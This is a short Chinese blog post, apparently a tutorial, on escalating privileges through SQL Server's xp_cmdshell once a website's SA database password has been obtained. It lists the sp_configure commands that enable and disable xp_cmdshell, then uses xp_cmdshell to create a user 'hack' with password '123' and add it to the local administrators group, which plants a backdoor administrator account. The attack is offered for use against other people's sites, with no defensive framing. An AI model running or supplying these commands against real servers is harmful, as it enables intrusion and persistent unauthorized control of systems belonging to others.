SQLServer的XP_CmdShell提权
SQLServer XP 提权
2023-09-11 14:14:03 时间
当我们拿到了某个网站SQLServer数据库的SA权限用户密码的话,我们就可以使用XP_CmdShell提权了。
开启xp_cmdshell
exec sp_configure 'show advanced options', 1;reconfigure;
exec sp_configure 'xp_cmdshell',1;reconfigure;
关闭xp_cmdshell
exec sp_configure 'show advanced options', 1;reconfigure;
exec sp_configure 'xp_cmdshell', 0;reconfigure
使用XP_CmdShell执行系统命令
exec master..xp_cmdshell 'net user hack 123 /add' #添加用户hack,密码123
exec master..xp_cmdshell 'net localgroup administrators hack add' #将hack用户添加到管理员组中
相关文章
- sqlserver delete 关联条件删除
- Oracle 和sqlserver 字符串补齐
- SQLServer · 最佳实践 · 如何将SQL Server 2012降级到2008 R2
- SQLServer · 最佳实践 · 开发基于.NET CORE的LINUX版本的数据库应用
- C# 批量插入数据到SqlServer中的四种方式
- C#.NET万能数据库访问封装类(ACCESS、SQLServer、Oracle)
- atitit.故障排除------有时会错误com.microsoft.sqlserver.jdbc.SQLServerException: Connection reset by peer: soc
- SQLServer导出数据库字典
- 已解决SqlServer报错Arithmetic overflow error converting expression to data type int
- SQLServer分页查询存储过程
- VB.net数据库编程(03):一个SQLserver连接查询的简单样例
- Oracle 11g透明网关连接SqlServer
- [SQL] SQLServer修改DB的collation, 解决排序字规则字符集问题
- 解决办法:[sqlserver] Cannot connect to XXXXSQLEXPRESS